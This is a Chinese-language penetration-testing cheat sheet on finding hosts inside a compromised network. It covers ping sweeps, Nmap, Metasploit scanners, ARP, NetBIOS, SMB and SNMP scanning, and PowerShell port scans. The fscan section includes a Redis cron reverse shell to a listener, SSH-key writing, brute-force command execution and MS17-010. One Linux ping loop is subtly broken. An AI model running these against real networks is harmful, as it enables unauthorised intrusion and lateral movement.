主机发现可以分三种情况:
拿到了Webshell
,我们可以使用系统命令或者上传工具进行探测
主机在目标内网,已经搭建隧道,可以使用Proxychains
+Nmap
拿到一个反弹的shell
,可以考虑MSF
网络传输协议包括ARP、ICMP、SMB、UDP、SNMP等,我们根据实际进行TCP、UDP、ICMP扫描以及其他协议扫描
ICMP PING WIN:
1 2 3 4 5 6 7 // 直接显示 for /l %i in (1 ,1 ,255 ) do @ping 192 .168 .1 .%i -w 1 -n 1 |find /i "ttl="// 无显示,写文件,注意权限问题,避开C盘,失败的写进errorPing.txt,成功successPing.txt @for /l %i in (1 ,1 ,255 ) do @ping -n 1 -w 40 192 .168 .1 .%i & if errorlevel 1 (echo 192 .168 .1 .%i >> e:/errorPing.txt) else (echo 192 .168 .1 .%i >> e:/successPing.txt)
Linux:
1 2 3 4 5 6 7 // 直接显示 for k in $( seq 1 255);do ping -c 1 192.168.1.|grep "ttl" |awk -F "[ :]+" '{print $4}' ; done // 写文件到/tmp for i in {1..255}; do ping -c 1 -W 40 192.168.1.$i &> /dev/null; if [ $? -ne 0 ]; then echo "192.168.1.$i " >> /tmp/errorPing.txt; else echo "192.168.1.$i " >> /tmp/successPing.txt; fi ; done
Nmap 1 2 3 4 5 6 7 8 nmap ‐sP ‐PI 192.168.1.0/24 ‐T4 nmap ‐sn ‐PE ‐T4 192.168.1.0/24 // sP:表示 Ping 扫描。这个选项用于扫描一个网络段中的主机,检查它们是否在线。此命令不会进行端口扫描,仅确定哪些主机是活动的。 // 需要注意的是,在 nmap 的较新版本中,-sP 已被弃用,取而代之的是 -sn(主机发现扫描)。 //PI:表示使用 ICMP Echo 请求 来发现主机。nmap 发送一个标准的 ICMP Echo 请求来测试目标主机是否响应(即是否在线)。这个选项表示只使用 ICMP 请求来检测主机,而不使用 ARP 请求或其他协议 //PE:表示使用 ICMP Echo 请求(Ping)。它告诉 nmap 发送 ICMP Echo 请求到目标主机来确认主机是否在线。类似于 -PI,但它不完全相同:-PE 侧重于 ICMP Echo 请求,而 -PI 在某些 nmap 版本中可能需要额外的指定
UDP UDP协议是无连接的,无需连接就能进行数据包发送
MSF 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 msf > use auxiliary/scanner/discovery/udp_probe msf > use auxiliary/scanner/discovery/udp_sweep // udp_probe用于扫描指定目标上的 UDP 端口,通过发送UDP请求并等待响应来确定端口是否开放 // udp_sweep不会等待目标主机返回响应,而是发送 UDP 请求 到指定范围的端口,并检查目标主机是否返回 ICMP 错误消息或其他反馈信息(有时可能并没有反馈) // 所以一个适用于单端口的多IP扫描,一个适用于多端口多IP扫描,下面是具体使用实例 msf > use auxiliary/scanner/discovery/udp_probe msf auxiliary(udp_probe) > set RHOSTS 192.168.1.0/24 msf auxiliary(udp_probe) > set PORTS 53 msf auxiliary(udp_probe) > run msf > use auxiliary/scanner/discovery/udp_sweep msf auxiliary(udp_sweep) > set RHOSTS 192.168.1.0/24 msf auxiliary(udp_sweep) > set PORTS 1-1024 msf auxiliary(udp_sweep) > run
Nmap 1 2 3 4 5 6 nmap -sU -T5 -sV --max-retries 1 192.168.1.2 -p 500 // -sU: 进行UDP扫描 // -T后面跟的是一个数字,表示 扫描时间模板。T5 是最快速的扫描模板,适合于高效、快速的扫描,适用于网络较快、目标不容易被防火墙阻挡的情况 // -sV: 检测服务版本 // --max-retries: 最大重试次数
unicornscan 1 2 3 4 unicornscan -mU 192.168.1.2 // 该工具kali自带 // mU表示进行udp扫描
NetBios NetBIOS
协议是一种在局域网上的程序可以使用的应用程序编程接口(API),为程序提供了请求低级服务的统一的命令集,作用是为了给局域网提供网络以及其他特殊功能,几乎所有的局域网都是在NetBIOS
协议的基础上工作的
Nmap 1 2 3 nmap -sU --script nbstat.nse -p137 192.168.1.0/24 -T4 // 此时依然是UDP扫描,但是多了nbstat.nse脚本,收集关于 NetBIOS 的信息
MSF 1 2 3 use auxiliary/scanner/netbios/nbname // 使用options查看参数设置就行
nbtscan 1 2 3 4 5 6 // windows nbtscan-1.0.35.exe -m 192.168.3.0/24 // linux // kali自带 nbtscan -r 192.168.3.0/24
APR Nmap 1 2 3 4 nmap -sn -PR 192.168.2.0/24 // 表示使用 ARP Ping来进行主机发现。ARP Ping 是一种基于局域网内的 MAC 地址解析协议(ARP)的扫描方法 // 当使用 -PR 时,nmap 会发送 ARP 请求到目标子网中的每个主机。如果目标主机在线且在同一局域网内,它会响应 ARP 请求
MSF 1 use auxiliary/scanner/discovery/arp_sweep
netdicover 1 2 3 4 netdiscover -r 192.168.2.0/24 -i eth0 // linux自带 // -i 网卡名
arp-scan 1 2 3 4 arp-scan --interface=eth0 --localnet // kali自带 // 实战中需要上传到靶机
SMB MSF 1 use auxiliary/scanner/smb/smb_version
Nmap 1 nmap -sU -sS --script smb-enum-shares.nse -p 445 192.168.3.0/24
CMD 1 for /l %a in (1,1,254) do start /min /low telnet 192.168.3.%a 445
CME CrackMapExec(CME)是一款后渗透利用工具,可帮助自动化大型活动目录(AD)网络安全评估任务。其缔造者@byt3bl33d3r 称,该工具的生存概念是,“利用AD内置功能/协议达成其功能,并规避大多数终端防护/IDS/IPS解决方案。”
SNMP 是一种基于应用层的网络协议,主要用于在 IP 网络中管理和监控设备。SNMP 使网络管理员能够通过网络对路由器、交换机、服务器、打印机等设备进行监控、配置和管理。
Nmap 1 nmap -sU --script snmp-brute 192.168.3.0/24 -T4
MSF 1 use auxiliary/scanner/snmp/snmp_enum
常见工具 Fscan 1 2 3 4 5 6 7 fscan -h 192.168.1.1/24 fscan.exe -h 192.168.1.1/24 (默认使用全部模块) fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写私钥) fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell) fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行) fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口) fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
powershell脚本 1 2 3 4 5 6 7 8 https://github.com/nettitude/PoshC2_Old/blob/master/Modules/Invoke-Arpscan.ps1 https://github.com/dwj7738/My-Powershell-Repository/blob/master/Scripts/Invoke-TSPingSweep.ps1 // Invoke-Arpscan.ps1 powershell.exe -exec bypass -Command "Import-Module .\arpscan.ps1;Invoke-ARPScan -CIDR 192.168.1.0/24" // Invoke-TSPingSweep.ps1 powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1;Invoke-TSPingSweep -StartAddress 192.168.1.0 -EndAddress 192.168.1.255"
1 2 3 4 5 6 7 8 // 多ip单端口 powershell foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "Detailed" 192.168.3.$ip} // 单ip多端口 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.3.2",$_)) "Port $_ is open!"} 2>$null // 多ip多端口 1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.3.$a",$_)) "Port $_ is open!"} 2>$null}
PTscan 1 2 3 4 5 6 7 8 9 10 Usage: python PTscan.py {-f /xxx/xxx.txt or -h 192.168.1} [-p 21,80,3306] [-m 50] [-t 10] [-n] [-b] [-r] -f 指定扫描目标文件,文件格式如list.txt所示,同时支持IP和URL -h 指定扫描IP或IP段,支持段扫描,如192.168.1 即为扫描C段,192.168 即为扫描B段 -p 指定扫描端口,缺省使用程序中的配置端口 -m 指定线程数 -t 指定timeout -n 不进行ping操作,直接扫描 -b 开启Banner识别 -r ReverseIP